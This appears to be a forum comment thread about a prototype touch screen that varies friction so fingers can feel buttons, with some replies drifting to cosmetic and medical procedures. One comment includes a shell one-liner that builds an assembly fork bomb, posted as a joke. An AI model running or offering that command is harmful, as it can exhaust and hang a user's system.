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A Sticky Touch Screen Lets You Feel the Buttons
mikejuk sent one in that sends absolute shivers up my spine. "I have a problem with sticky touch screens — whenever I try to clean the jam off I activate and use a lot of apps I never intended to. However it looks as if sticky is the way of the future. A prototype screen has been shown that varies the friction as you move your finger across it. The result is that you can 'feel' the buttons and notches on scroll bars. It sure beats having to build real buttons..."
whenever I try to clean the jam off I activate and use a lot of apps I never intended to.
Turn it off and clean it? Or am I missing something.
http://www.suck.com/daily/99/12/13/daily.html
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Bye bye battery too.
Did you read the article? While this isn't the same as a raised button, it is definitely a form of tactile feedback. I think the biggest issue with this form though is that it only appears to work for one finger.
Well, am I?
Buttons provide tactile response about location and success of triggering a function. Both aspects are quite useful for things like accessibility, but I still prefer the knowledge of having hit a button on a cell phone keypad or qwerty over the use of a touchscreen where I have to constantly be looking at what I'm typing.
It also only works while the finger is moving across the screen. This technology relies on the differential formed by varying between vibrating and not vibrating. You can't have a differential if you're just tapping the screen.
"If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
TFA indicates that the screen vibrates to create a thin layer of air between the finger and the screen. That results in low friction. When the finger "touches" a button, the vibration stops, the finger "touches down on" the screen and the friction increases, telling the finger and the brain that a button (or a notch on a scroll bar, etc.) has been reached. That differs from currently-widely-available haptic feedback because the vibration is in the screen itself and not the entire device.
To
Never say never. Your comments might be true at the moment, but technologies and societies change.
Look at all the other medical procedures being done today because "it's cool":
1) laser eye surgery (not a medical necessity, you can wear glasses)
2) skull implanted hearing aids (not a medical necessity, you can just be deaf)
3) breast implants (I don't think I need to elaborate here)
4) penile implants (not a medical necessity, you don't NEED to have sex when you're old or impotent, you can just go without)
5) Other cosmetic surgery: nose jobs, hair implants, facelifts, etc.
There's no shortage of doctors willing to perform all these medically-unnecessary procedures, basically because someone thinks "it's cool".
Yes, brain surgery is currently more dangerous than a boob job, but 30 years ago, eye surgery wasn't exactly a walk in the park either and had a huge probability of making things worse. Now we have LASIK which is mostly automated and has an extremely low complication rate. In the future, we're probably going to have robots doing most or all surgeries, as they don't have the deficiencies that human hands do.